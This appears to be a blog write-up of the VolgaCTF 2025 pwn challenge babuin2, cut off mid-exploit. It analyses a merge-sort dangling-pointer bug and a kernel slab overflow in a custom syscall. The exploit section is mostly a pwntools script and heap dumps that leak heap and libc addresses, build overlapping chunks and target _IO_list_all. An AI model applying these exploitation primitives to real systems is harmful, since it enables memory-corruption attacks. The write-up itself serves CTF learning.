Overview

VolgaCTF Quals 2025 – pwn/babuin2

January 4, 2026
35 min read

Really interesting challenge that I didn’t get to solve during the CTF since I spent most of my time on another challenge, ponbaby, which I ended up blooding. After the CTF I spent some time on this and it turned out to be pretty fun, so I figured I’d write it up.

The challenge has two components: a userspace client (client.c) and a custom piccall syscall (1337). The objective is to first get code execution in userland and then privesc to root.

Examining the provided files

$ ls -la
total 14108
drwxr-xr-x 2 kali kali     4096 Mar 28 06:41 .
drwxrwxr-x 3 kali kali     4096 Apr  1 00:27 ..
-rw-r--r-- 1 kali kali 11718848 Mar 28 14:11 bzImage
-rw-r--r-- 1 kali kali      247 Mar 28 06:40 docker-compose.yml
-rw-r--r-- 1 kali kali      859 Mar 28 06:40 Dockerfile
-rw-r--r-- 1 kali kali       19 Mar 28 06:40 flag.txt
-rw-r--r-- 1 kali kali  2694142 Mar 28 06:40 initramfs.cpio.gz
-rwxr-xr-x 1 kali kali      318 Mar 28 06:40 run.sh
-rw-r--r-- 1 kali kali      126 Mar 28 06:40 setup_jail.sh

Let’s extract initramfs.cpio.gz to see what we’re working with:

$ mkdir root
$ cd root
$ zcat ../*.cpio.gz | cpio -idmv > /dev/null 2>&1
$ ls -la
total 2264
drwxrwxr-x 10 kali kali    4096 Apr  1 00:29 .
drwxr-xr-x  3 kali kali    4096 Apr  1 00:29 ..
drwxrwxr-x  2 kali kali    4096 Mar 27 21:21 bin
-rwxr-xr-x  1 kali kali   29521 Mar 28 00:01 client
-rw-r--r--  1 kali kali    6608 Mar 28 02:21 client.c
drwxrwxr-x  2 kali kali    4096 Mar 27 21:21 dev
drwxrwxr-x  5 kali kali    4096 Mar 27 21:21 etc
-rwxrwxr-x  1 kali kali     456 Mar 27 08:04 init
-rwxr-xr-x  1 kali kali  225600 Mar 27 23:46 ld-linux-x86-64.so.2
drwxrwxr-x  2 kali kali    4096 Mar 27 21:21 lib
lrwxrwxrwx  1 kali kali       3 Mar 26 03:51 lib64 -> lib
-rwxr-xr-x  1 kali kali 1999312 Mar 27 23:46 libc.so.6
lrwxrwxrwx  1 kali kali      11 Mar 26 03:51 linuxrc -> bin/busybox
drwxrwxr-x  2 kali kali    4096 Mar 26 03:51 root
drwxrwxr-x  2 kali kali    4096 Mar 27 21:21 sbin
drwxrwxr-x  6 kali kali    4096 Mar 27 21:21 usr
drwxrwxr-x  3 kali kali    4096 Mar 27 21:21 var

Looking at the /init script, we can see that it executes /client after it’s done booting up:

$ cat init
#!/bin/sh
 
mount -t devtmpfs none /dev
 
mkdir /proc
mkdir /sys
mount -t proc none /proc
mount -t sysfs none /sys
mkdir -p /dev/pts
mount -t devpts devpts /dev/pts
 
chown root:root /
chmod 755 /
for dir in /bin /sbin /lib /lib64 /etc /usr /mnt /tmp; do
    mkdir -p "$dir"
    chown root:root "$dir"
    chmod 755 "$dir"
done
find /bin /sbin /usr/bin /usr/sbin -type f -exec chown root:root {} +
chown root:root /init
chmod 744 /init
chmod 777 /tmp
 
/client 

So we interact with /client directly. Dumping the seccomp filter shows that only read, write, brk, mprotect, and the custom syscall 1337 (piccall) are allowed:

$ seccomp-tools dump ./client
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0003
 0002: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0003: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0005
 0004: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0005: 0x15 0x00 0x01 0x0000000c  if (A != brk) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x15 0x00 0x01 0x0000000a  if (A != mprotect) goto 0009
 0008: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0009: 0x15 0x00 0x01 0x00000539  if (A != 1337) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL

The handler of piccall syscall is __x64_sys_piccall which is a wrapper for __do_sys_piccall:

gef> x/a sys_call_table+(1337*8)
0xffffffffa8e02de8 <sys_call_table+10696>: 0xffffffffa8150270 <__x64_sys_piccall>
gef> disas __x64_sys_piccall
   0xffffffffa8150270 <+0>:  endbr64
   0xffffffffa8150274 <+4>:  nop    DWORD PTR [rax+rax*1+0x0]
   0xffffffffa8150279 <+9>:  mov    rdx,QWORD PTR [rdi+0x60]
   0xffffffffa815027d <+13>: mov    rsi,QWORD PTR [rdi+0x68]
   0xffffffffa8150281 <+17>: mov    edi,DWORD PTR [rdi+0x70]
   0xffffffffa8150284 <+20>: jmp    0xffffffffa814fd60 <__do_sys_piccall>

To debug the kernel, add -s to the qemu-system-x86_64 command in ./run.sh. This exposes a GDB stub that you can connect to with target remote localhost:1234. After that, you can use ksymaddr-remote-apply from gef-bata.

To setup gef-bata just download gef.py and add this to ~/.gdbinit:

define init-gef-bata
    source /pwn/plugins/gef-bata.py
end

You can decompile the __do_sys_piccall by first extracting vmlinux from bzImage using this script and then opening it with in a decompiler of your choice!

$ extract-vmlinux bzImage > vmlinux
extract-vmlinux: Extracted vmlinux using 'unzstd' from offset 21197

Since ghidra takes a while to analyze vmlinux file, I’ve attached the cleaned-up decompilation of the handler here (thanks claude!) for convenience:

struct pic_chunk {
    struct pic_chunk *next;
    uint64_t len;
    uint64_t reserved;
    uint8_t data[0x100];
};
 
struct pic {
    uint32_t id;
    uint32_t _pad;
    uint64_t _unused;
    struct pic_chunk *chunks;
    struct pic *list_next;
    struct pic *list_prev;
};
 
struct pic_view_req {
    uint32_t id;
    uint32_t count;
    uint8_t *buf;
};
 
__int64 __fastcall _do_sys_piccall(int op, unsigned __int64 size, __int64 user_ptr)
{
    struct pic *pic, *cur;
    struct pic_chunk *chunk, *it, *tmp;
    struct pic_view_req view;
    uint32_t magic;
 
    if ( !chunk_cache ) {
        chunk_cache = kmem_cache_create("pic_chunk_cache", 0x118, 0, SLAB_HWCACHE_ALIGN, NULL);
        if ( !chunk_cache ) return -ENOMEM;
    }
 
    if ( size > 0x2000 ) return -EINVAL;
 
    if ( op == PIC_CREATE ) {
        if ( size <= 3 ) return -EINVAL;
        if ( copy_from_user(&magic, user_ptr, 4) ) return -EFAULT;
        if ( magic != PIC_MAGIC ) return -EINVAL;
 
        pic = kmalloc(sizeof(struct pic), GFP_KERNEL);
        if ( !pic ) return -ENOMEM;
        pic->id = next_id++;
        pic->chunks = NULL;
 
        struct pic_chunk **tail = &pic->chunks;
        uint64_t off = 4, next_off = 20;
        while ( size > 0x13 ) {
            chunk = kmem_cache_alloc(chunk_cache, GFP_KERNEL);
            if ( !chunk ) { free_pic(pic); return -ENOMEM; }
 
            if ( copy_from_user(&chunk->len,      user_ptr + off,     8) ||
                 copy_from_user(&chunk->reserved, user_ptr + off + 8, 8) ||
                 copy_from_user(chunk->data, user_ptr + off + 16, chunk->len) ) {
                kmem_cache_free(chunk_cache, chunk);
                free_pic(pic);
                return -EFAULT;
            }
 
            chunk->next = NULL;
            *tail = chunk;
            tail = &chunk->next;
            off = next_off + chunk->len;
            next_off = off + 16;
            if ( size < off + 16 ) break;
        }
 
        pic->list_next = pic_list;
        pic_list = pic;
        return pic->id;
    }
 
    if ( op == PIC_DELETE ) {
        for ( cur = pic_list; cur; cur = cur->list_next ) {
            if ( cur->id != (uint32_t)user_ptr ) continue;
            it = cur->chunks;
            while ( it ) { tmp = it; it = it->next; kmem_cache_free(chunk_cache, tmp); }
            kfree(cur);
            return 0;
        }
        return -EINVAL;
    }
 
    if ( op == PIC_VIEW ) {
        if ( size != sizeof(struct pic_view_req) ) return -EINVAL;
        if ( copy_from_user(&view, user_ptr, sizeof(view)) ) return -EFAULT;
 
        for ( cur = pic_list; cur; cur = cur->list_next ) {
            if ( cur->id != view.id ) continue;
            uint64_t written = 0;
            for ( it = cur->chunks; it; it = it->next ) {
                if ( copy_to_user(view.buf + written, it->data, it->len) ) return -EFAULT;
                written += it->len;
            }
            return written;
        }
        return 0;
    }
 
    return 0;
}

Examining the source code

The client manages a list of pic_t objects which is defined as:

typedef struct {
    uint32_t index;
    uint32_t id;
    uint32_t len;
    char name[];
} pic_t;

There are a few global variables:

cpic_t **pics;
size_t csize;
size_t counter;

pics is the array of pointers to pic_t objects, csize is the current capacity of that array, and counter is the number of active pic_t objects. The main function just runs an infinite menu loop and dispatches to add_pic, delete_pic, or view_pic.

The custom syscall handler maintains its own structures.

struct pic_chunk {
    struct pic_chunk *next;
    uint64_t          len;
    uint64_t          reserved;
    uint8_t           data[0x100];
};
 
struct pic {
    uint32_t id;
    uint32_t _pad;
    uint64_t _unused;
    struct pic_chunk *chunks;
    struct list_head  list;
};

The kernel allocates pic_chunk objects from a dedicated slub cache chunk_cache with object size 0x118 with 12 objects per slab. A global pic_list linked list tracks all active pic objects, each of which owns a fifo singly linked list of pic_chunk objects holding the raw pixel data.

add_pic

add_pic() starts by reading a name length and allocating a pic_t of size len+0xc+1 on the heap, then reads the name as hex bytes into the inline name[] field. After that it reads the raw pixel data whose structure looks like this:

+0x00: magic = 0x13379001
+0x04: chunk_data_size (< 0x100)
+0x0c: padding
+0x14: char data[chunk_data_size]
+0x14+chunk_data_size: chunk_data_size  ─┐
+0x1c+chunk_data_size: padding           ├─ repeats
+0x24+chunk_data_size: char data[]      ─┘

This pixel data is then validated by check_pic() which walks the structure above and enforces that each chunk_data_size doesn’t exceed MAX_PIXELS (0x100). Finally it asks whether to save the pic in the kernel — if yes it calls PIC_CREATE and stores the returned id, otherwise it just uses counter as the id. Either way the pic_t is inserted into the pics array and sorted via merge sort.

void add_pic() {
    uint32_t len, pic_len;
    int iss = 0;
    char data[0x2000] = {0};
 
    printf("name len: ");
    scanf("%u%*c", &len);
    if (len >= MAX_NAME) { puts("err"); return; }
 
    pic_t *pic = malloc(sizeof(pic_t) + len + 1);
    pic->len = len;
 
    printf("name: ");
    for (uint32_t i = 0; i < len; i++)
        if (scanf("%02hhx", &pic->name[i]) != 1) exit(1);
 
    printf("pic len: ");
    scanf("%u%*c", &pic_len);
    if (pic_len > 0x2000 || pic_len == 0) exit(1);
 
    printf("pic: ");
    for (uint32_t i = 0; i < pic_len; i++)
        if (scanf("%02hhx", &data[i]) != 1) exit(1);
 
    if (check_pic(data, pic_len)) { puts("invalid"); return; }
 
    printf("save pic? ");
    scanf("%d%*c", &iss);
    pic->id    = iss ? syscall(SYS_PICCALL, PIC_CREATE, pic_len, data) : counter;
    pic->index = counter;
 
    link_pic(pic);
}

On the kernel side PIC_CREATE first checks for the magic bytes, allocates a pic, then iterates over the pixel data copying each chunk header and payload into a freshly allocated chunk_cache slab object:

if ( op == PIC_CREATE ) {
    if ( size <= 3 ) return -EINVAL;
    if ( copy_from_user(&magic, user_ptr, 4) ) return -EFAULT;
    if ( magic != PIC_MAGIC ) return -EINVAL;
 
    pic = kmalloc(sizeof(struct pic), GFP_KERNEL);
    if ( !pic ) return -ENOMEM;
    pic->id = next_id++;
    pic->chunks = NULL;
 
    struct pic_chunk **tail = &pic->chunks;
    uint64_t off = 4, next_off = 20;
    while ( size > 0x13 ) {
        chunk = kmem_cache_alloc(chunk_cache, GFP_KERNEL);
        if ( !chunk ) { free_pic(pic); return -ENOMEM; }
 
        if ( copy_from_user(&chunk->len,      user_ptr + off,     8) ||
             copy_from_user(&chunk->reserved, user_ptr + off + 8, 8) ||
             /* copies chunk->len bytes into a 0x100 byte buffer */
             copy_from_user(chunk->data, user_ptr + off + 16, chunk->len) ) {
            kmem_cache_free(chunk_cache, chunk);
            free_pic(pic);
            return -EFAULT;
        }
 
        chunk->next = NULL;
        *tail = chunk;
        tail = &chunk->next;
        off = next_off + chunk->len;
        next_off = off + 16;
        if ( size < off + 16 ) break;
    }
 
    pic->list_next = pic_list;
    pic_list = pic;
    return pic->id;
}

Notice that the kernel blindly trusts chunk->len from userspace when copying into chunk->data which is only 0x100 bytes. The only thing standing between us and a heap overflow into the next slab object is check_pic running in userland. If we can bypass it we can supply an arbitrary chunk->len and overflow the chunk_cache slab object.

link_pic also calls sort_pic after every insertion which uses a buggy merge sort implementation. sort_r() reads one too many value when filling the right subarray:

void sort_r(uint32_t l, uint32_t m, uint32_t r) {
    uint32_t n1 = m - l + 1;
    uint32_t n2 = r - m + 1;
    if (n1 == 0 || n2 == 0) return;
    pic_t **L = malloc(n1 * sizeof(pic_t*) + 8);
    if (L == NULL)
        return;
    pic_t **R = malloc(n2 * sizeof(pic_t*) + 8);
    if (R == NULL) {
        if (L) free(L);
        return;
    }
    for (uint32_t i = 0; i < n1; i++) {
        if (pics[l + i] != NULL)
            L[i] = pics[l + i];
        else
            n1--;
    }
    for (uint32_t j = 0; j < n2; j++) {
        if (pics[m + 1 + j] != NULL) {
            R[j] = pics[m + 1 + j];
        } else {
            n2--;
        }
    }
    uint32_t i = 0;
    uint32_t j = 0;
    uint32_t k = l;
    while (i < n1 && j < n2) {
        if (L[i]->index <= R[j]->index) {
            pics[k] = L[i];
            i++;
        } else {
            pics[k] = R[j];
            j++;
        }
        k++;
    }
    while (i < n1) pics[k++] = L[i++];
    while (j < n2) pics[k++] = R[j++];
    free(L);
    free(R);
}

To understand the vulnerability let’s trace through the merge sort with an example. If we create three pic_t objects A, B, C then pics becomes [A, B, C] and counter becomes 3. If we delete A and B then pics becomes [0, 0, C].

Now when we create another pic_t object D, link_pic finds the first NULL slot and stores D there, making pics = [D, 0, C]. It then compacts the array by removing NULL slots:

int rc = 0;
for (int j = 0; j < counter; j++) {
    if (pics[j] != NULL) {
        pics[rc] = pics[j];
        rc++;
    }
}
counter = rc;

After compaction pics becomes [D, C, C] and counter becomes 2. Notice that link_pic only shifts non-NULL pointers forward without zeroing out the vacated slots, leaving a stale pointer to C at index 2.

Now link_pic calls sort_pic(0, counter-1) which is sort_pic(0, 1):

sort_pic(0, 1):
    m = 0 + (1-0)/2 = 0
    sort_pic(0, 0) -> l < r -> 0 < 0 -> false -> return
    sort_pic(1, 1) -> l < r -> 1 < 1 -> false -> return
    sort_r(0, 0, 1)

Inside sort_r(l=0, m=0, r=1), n1 and n2 are computed as:

n1 = m - l + 1 = 1
n2 = r - m + 1 = 2

n2 is 2 but there is only one valid entry past m, so the R-fill loop will read out of bounds. The L and R arrays are filled as:

for (uint32_t i = 0; i < n1; i++) {
    if (pics[l + i] != NULL)
        L[i] = pics[l + i];
    else
        n1--;
}
for (uint32_t j = 0; j < n2; j++) {
    if (pics[m + 1 + j] != NULL) {
        R[j] = pics[m + 1 + j];
    } else {
        n2--;
    }
}
i=0: L[0] = pics[l+i] = pics[0+0] = pics[0] = D
j=0: R[0] = pics[m+1+j] = pics[0+1+0] = pics[1] = C
j=1: R[1] = pics[m+1+j] = pics[0+1+1] = pics[2] = C  // stale pointer

So L = [D] (index=3) and R = [C, C] (index=2). Now the merge runs:

while (i < n1 && j < n2) {
    if (L[i]->index <= R[j]->index) {
        pics[k] = L[i];
        i++;
    } else {
        pics[k] = R[j];
        j++;
    }
    k++;
}
i=j=k=0:
    L[0]->index <= R[0]->index -> 3 <= 2 -> false
    pics[0] = R[0] = C;  j++, k++
i=0, j=k=1:
    L[0]->index <= R[1]->index -> 3 <= 2 -> false
    pics[1] = R[1] = C;  j++, k++
i=0, j=k=2: j < n2  -> 2 < 2 -> false, exits the while loop

The remaining entries in L and R are then drained into pics:

// i=0, k=2: i < n1 -> 0 < 1 -> true
//   pics[2] = L[0] = D;  i++, k++
// i=1, k=3: i < n1 -> 1 < 1 -> false
while (i < n1) pics[k++] = L[i++];
 
// j=2, k=3: j < n2 -> 2 < 2 -> false
while (j < n2) pics[k++] = R[j++];

At the end pics = [C, C, D], counter = 2. pics[0] == pics[1] — both point to the same pic_t object, giving us a double reference to the same memory.

You can read more about merge sort here.

delete_pic

delete_pic() reads an index, validates it against counter, then asks whether to also delete the corresponding kernel object. If yes it calls PIC_DELETE with the pic’s id before freeing the userspace pic_t and zeroing the slot in pics.

void delete_pic() {
    uint32_t index;
    int iss = 0;
 
    printf("index: ");
    scanf("%d%*c", &index);
 
    if (index >= counter || pics[index] == NULL) { puts("invalid"); return; }
 
    printf("delete pic? ");
    scanf("%d%*c", &iss);
 
    if (iss)
        syscall(SYS_PICCALL, PIC_DELETE, pics[index]->id);
 
    free(pics[index]);
    pics[index] = 0;
}

On the kernel side PIC_DELETE walks pic_list to find the matching id, unlinks it, then frees each chunk via kmem_cache_free and the pic via kfree:

if ( op == PIC_DELETE ) {
    for ( cur = pic_list; cur; cur = cur->list_next ) {
        if ( cur->id != (uint32_t)user_ptr ) continue;
        it = cur->chunks;
        while ( it ) { tmp = it; it = it->next; kmem_cache_free(chunk_cache, tmp); }
        kfree(cur);
        return 0;
    }
    return -EINVAL;
}

Looking at the kernel handler __do_sys_piccall(int op, unsigned __int64 size, __int64 user_ptr), PIC_DELETE compares the pic id against user_ptr which is the 3rd kernel argument. The client calls syscall(SYS_PICCALL, PIC_DELETE, pics[index]->id) which puts the id as the 3rd argument to syscall() — this maps to rdx in the calling convention, which the syscall wrapper forwards as size (2nd kernel argument), not user_ptr. So the kernel compares against zero and never finds the pic. To fix this we patch the binary: change mov edx, eax (which puts the id into rdx) to mov ecx, eax, making it the 4th argument to syscall() — which maps to rcx, forwarded as rdx, and correctly lands in user_ptr.

view_pic

view_pic() reads an index, validates it, then asks whether to actually view the kernel-side data. If yes it calls PIC_VIEW with a pic_view_req containing the pic id, a local output buffer, and a user-controlled count field. The returned bytes are written directly to stdout.

void view_pic() {
    view_t view;
    uint32_t index = 0;
    uint8_t buf[0x2000] = {0};
 
    printf("index: ");
    scanf("%u%*c", &index);
 
    if (index >= counter || pics[index] == NULL) return;
 
    view.id  = pics[index]->id;
    view.buf = buf;
 
    int iss = 0;
    printf("view pic? ");
    scanf("%d%*c", &iss);
 
    if (iss) {
        printf("count: ");
        scanf("%d%*c", &view.count);
        if (view.count > 0x2000) return;
 
        off_t s = syscall(SYS_PICCALL, PIC_VIEW, sizeof(view), &view);
        if (s <= 0 || s > 0x2000) { puts("err"); return; }
        write(1, buf, s);
    }
 
    printf("\nindex: %u, id: %u, name: %s\n", pics[index]->index, pics[index]->id, pics[index]->name);
}

On the kernel side PIC_VIEW walks pic_list to find the matching id, then copies chunk->len bytes from each chunk’s data buffer back to userspace:

if ( op == PIC_VIEW ) {
    if ( size != sizeof(struct pic_view_req) ) return -EINVAL;
    if ( copy_from_user(&view, user_ptr, sizeof(view)) ) return -EFAULT;
 
    for ( cur = pic_list; cur; cur = cur->list_next ) {
        if ( cur->id != view.id ) continue;
        uint64_t written = 0;
        for ( it = cur->chunks; it; it = it->next ) {
            /* uses stored chunk->len — OOB read if inflated */
            if ( copy_to_user(view.buf + written, it->data, it->len) ) return -EFAULT;
            written += it->len;
        }
        return written;
    }
    return 0;
}

Crucially the kernel uses the stored chunk->len field rather than the count from the request struct. So if we inflate chunk->len via the heap overflow, PIC_VIEW will read past the end of the chunk data leaking adjacent slab contents.

Exploitation

Now that we understand the setup we can start writing the exploit. We have two bugs: the sort_r out of bound read which gives us a read-after-free/double free primitive, and kernel heap overflow via PIC_CREATE which copies user specified number of bytes into fixed size buffer. The only thing gating the kernel overflow is check_pic() function, so the first order of business is getting userspace code execution to patch it out.

Let’s first get the setup working!

$ cp root/client root/libc.so.6 root/ld-linux-x86-64.so.2 root/lib/libseccomp.so.2 .
$ grep -q '    -s \\' run.sh || sed -i '/qemu-system-x86_64/a \    -s \\' run.sh

First we will work on the client so, we don’t need to debug the kernel. We will use the following script to interact with the client:

#!/usr/bin/env python3
from pwn import *
 
exe  = context.binary = ELF(args.EXE or './client')
libc = ELF('./libc.so.6')
 
def start(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)
 
def make(name=None, data=p32(0x13379001), iss=0):
    if name is None: name = os.urandom(0x10)
    io.sendlineafter(b"choice: ", b"1")
    io.sendlineafter(b"name len: ", str(len(name)).encode())
    io.sendlineafter(b"name: ", name.hex().encode())
    io.sendlineafter(b"pic len: ", str(len(data)).encode())
    io.sendlineafter(b"pic: ", data.hex().encode())
    io.sendlineafter(b"save pic? ", str(iss).encode())
 
def free(idx, iss=0):
    io.sendlineafter(b"choice: ", b"2")
    io.sendlineafter(b"index: ", str(idx).encode())
    io.sendlineafter(b"delete pic? ", str(iss).encode())
 
def view(idx, iss=0, count=0):
    io.sendlineafter(b"choice: ", b"3")
    io.sendlineafter(b"index: ", str(idx).encode())
    io.sendlineafter(b"view pic? ", str(iss).encode())
    if iss: io.sendlineafter(b"count: ", str(count).encode())
    io.recvuntil(b'index: ')
    m = re.search(rb"(\d+), id: (\d+), name: (.+)", io.recvline())
    if not m: return None, None, None
    return int(m.group(1)), int(m.group(2)), m.group(3).strip()
 
gdbscript = '''
init-pwndbg
c
'''.format(**locals())
 
io = start()
io.interactive()

Overwriting _IO_list_all

First we allocate 5 chunks and free them so that when we allocate again later they come back in reverse order — this matters for the heap layout we need to set up later:

for i in range(5): make(name=b'A'*0x60)
for i in range(5): free(i)
pwndbg> tcachebins
0x80 [  5]: 0x55de7b762530 —▸ 0x55de7b7624b0 —▸ 0x55de7b762430 —▸ 0x55de7b7623b0 —▸ 0x55de7b762330 ◂— 0

Now we trigger the sort_r out of bound (already covered) to get a double reference to the same chunk, then read the mangled tcache fd pointer out of the freed chunk via the dangling pics[0] reference. Demangling it gives us the heap base:

# https://github.com/shellphish/how2heap/blob/master/glibc_2.36/decrypt_safe_linking.c#L5
def demangle(v):
  m = 0xfff << 52
  while m: v ^= (v & m) >> 12; m >>= 12
  return v
 
for i in range(3): make(name=b'A'*0x60)
free(0)
free(1)
make(name=b'A'*0x60)
free(1)
lo, up, _ = view(0)
heap_base = (demangle(up<<32|lo)>>12)<<12
log.info(hex(heap_base))
pwndbg> tcachebins
0x20 [  2]: 0x55de7b7625d0 —▸ 0x55de7b7625b0 ◂— 0
0x80 [  4]: 0x55de7b762430 —▸ 0x55de7b762530 —▸ 0x55de7b7623b0 —▸ 0x55de7b762330 ◂— 0
pwndbg> vis -a
...SNIP...
0x55de7b762290  0x0000000000000000      0x0000000000000091      ................
0x55de7b7622a0  0x000055de7b762430      0x0000000000000000      0$v{.U..........
0x55de7b7622b0  0x000055de7b7624b0      0x0000000000000000      .$v{.U..........
0x55de7b7622c0  0x0000000000000000      0x0000000000000000      ................
0x55de7b7622d0  0x0000000000000000      0x0000000000000000      ................
0x55de7b7622e0  0x0000000000000000      0x0000000000000000      ................
0x55de7b7622f0  0x0000000000000000      0x0000000000000000      ................
0x55de7b762300  0x0000000000000000      0x0000000000000000      ................
0x55de7b762310  0x0000000000000000      0x0000000000000000      ................
0x55de7b762320  0x0000000000000000      0x0000000000000081      ................
0x55de7b762330  0x000000055de7b762      0xc70a67c78e704eeb      b..].....Np..g..         <-- tcachebins[0x80][3/4]
0x55de7b762340  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x55de7b762350  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x55de7b762360  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x55de7b762370  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x55de7b762380  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x55de7b762390  0x4141414141414141      0x0000000041414141      AAAAAAAAAAAA....
0x55de7b7623a0  0x0000000000000000      0x0000000000000081      ................
0x55de7b7623b0  0x000055db26919452      0xc70a67c78e704eeb      R..&.U...Np..g..         <-- tcachebins[0x80][2/4]
0x55de7b7623c0  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x55de7b7623d0  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x55de7b7623e0  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x55de7b7623f0  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x55de7b762400  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x55de7b762410  0x4141414141414141      0x0000000041414141      AAAAAAAAAAAA....
0x55de7b762420  0x0000000000000000      0x0000000000000081      ................
0x55de7b762430  0x000055db26919252      0xc70a67c78e704eeb      R..&.U...Np..g..         <-- tcachebins[0x80][0/4]
0x55de7b762440  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x55de7b762450  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x55de7b762460  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x55de7b762470  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x55de7b762480  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x55de7b762490  0x4141414141414141      0x0000000041414141      AAAAAAAAAAAA....
0x55de7b7624a0  0x0000000000000000      0x0000000000000081      ................
0x55de7b7624b0  0x0000000300000003      0x4141414100000060      ........`...AAAA
0x55de7b7624c0  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x55de7b7624d0  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x55de7b7624e0  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x55de7b7624f0  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x55de7b762500  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x55de7b762510  0x4141414141414141      0x0000000041414141      AAAAAAAAAAAA....
0x55de7b762520  0x0000000000000000      0x0000000000000081      ................
0x55de7b762530  0x000055db269194d2      0xc70a67c78e704eeb      ...&.U...Np..g..         <-- tcachebins[0x80][1/4]
0x55de7b762540  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x55de7b762550  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x55de7b762560  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x55de7b762570  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x55de7b762580  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x55de7b762590  0x4141414141414141      0x0000000041414141      AAAAAAAAAAAA....
0x55de7b7625a0  0x0000000000000000      0x0000000000000021      ........!.......
0x55de7b7625b0  0x000000055de7b762      0xc70a67c78e704eeb      b..].....Np..g..         <-- tcachebins[0x20][1/2]
0x55de7b7625c0  0x0000000000000000      0x0000000000000021      ........!.......
0x55de7b7625d0  0x000055db269192d2      0xc70a67c78e704eeb      ...&.U...Np..g..         <-- tcachebins[0x20][0/2]
0x55de7b7625e0  0x0000000000000000      0x0000000000020a21      ........!.......         <-- Top chunk

Notice we now have a read-after-free/double-free on 0x55de7b762430 and there is a free chunk sitting right before it at 0x55de7b7623b0. The initial 5 allocations + frees were specifically to ensure we have a chunk we control adjacent to our UAF target — without that setup we’d lose control of that neighbor.

Now we allocate 9 more chunks:

for i in range(7+2): make(name=b'A'*0x60)

The two chunks in yellow are the double reference and the chunk in brown is the neighbor just before them. We want these two to consolidate to get a libc leak and to also get overlapping chunks. To do this we fill tcache with 7 frees, then free the two target chunks into the fastbin, then send a large input to scanf — this triggers an internal large allocation and free which calls malloc_consolidate, consolidating the fastbin chunks and the resultant chunk gets sorted into the smallbin.

''' fill tcache '''
for i in range(4, 10): free(i)
free(2)
 
''' free chunks into tcache '''
free(3)
free(1)
 
''' large input to scanf results in large allocation & free -> malloc_consolidate '''
io.sendlineafter(b"choice: ", b"2")
io.sendlineafter(b"index: ", b'1'*0xfff)
 
''' get libc leak '''
lo, up, _ = view(0)
libc.address = (up<<32|lo) - 0x1e6b20
log.info(hex(libc.address))

pwndbg> bins
tcachebins
0x20 [  2]: 0x5587c05d05b0 —▸ 0x5587c05d05d0 ◂— 0
0x80 [  7]: 0x5587c05d0530 —▸ 0x5587c05d07f0 —▸ 0x5587c05d0770 —▸ 0x5587c05d06f0 —▸ 0x5587c05d0670 —▸ 0x5587c05d05f0 —▸ 0x5587c05d0330 ◂— 0
fastbins
empty
unsortedbin
empty
smallbins
0x100: 0x5587c05d03a0 —▸ 0x7f6d7dad0c10 ◂— 0x5587c05d03a0
largebins
empty

Now we need to get arbitrary allocation but there’s a catch — pic_t occupies the first 0xc bytes of the chunk data, so we don’t control the first 0xc bytes of any allocation. The plan is to create two overlapping chunks so that we can control the fd of a tcache chunk through the overlapping one.

We break the consolidated 0x100 chunk into a 0xa0 and a 0x60 piece by allocating in a way that forces the heap to remainder it. The 0x81 size field we embed in the name acts as a fake chunk header of the +0x430 chunk we still have reference to.

# name_len+sizeof(pic_t)+1 ==> round8  +0x8 header ==> round16 = chunk size
# (0x6c+8+8)+0xc+1 = 0x89 ==> 0x90+0x8 = 0x98 ==> 0xa0
make(name=b'A'*0x6c+p64(0x80|1)+b'A'*8)
 
# 0x40+0xc+1 = 0x4d ==> 0x50+0x8 = 0x58 ==> 0x60
make(name=b'A'*0x40)

pwndbg> tcachebins
0x20 [  2]: 0x55761aad65d0 —▸ 0x55761aad65b0 ◂— 0
0x80 [  7]: 0x55761aad6530 —▸ 0x55761aad67f0 —▸ 0x55761aad6770 —▸ 0x55761aad66f0 —▸ 0x55761aad6670 —▸ 0x55761aad65f0 —▸ 0x55761aad6330 ◂— 0

Now drain tcache and allocate one more 0x60 chunk:

for i in range(7): make(name=b'A'*0x60)
make(name=b'A'*0x40)

The heap now looks like this — the 0x80 chunk at index 1 overlaps with the 0x60 chunk at index 2, and there’s a separate standalone 0x60 at index 10:

pwndbg> vis -a
0x5634c093a290 0x0000000000000000 0x0000000000000091 ................
0x5634c093a2a0 0x00005634c093a3b0 0x00005634c093a430 ....4V..0...4V..
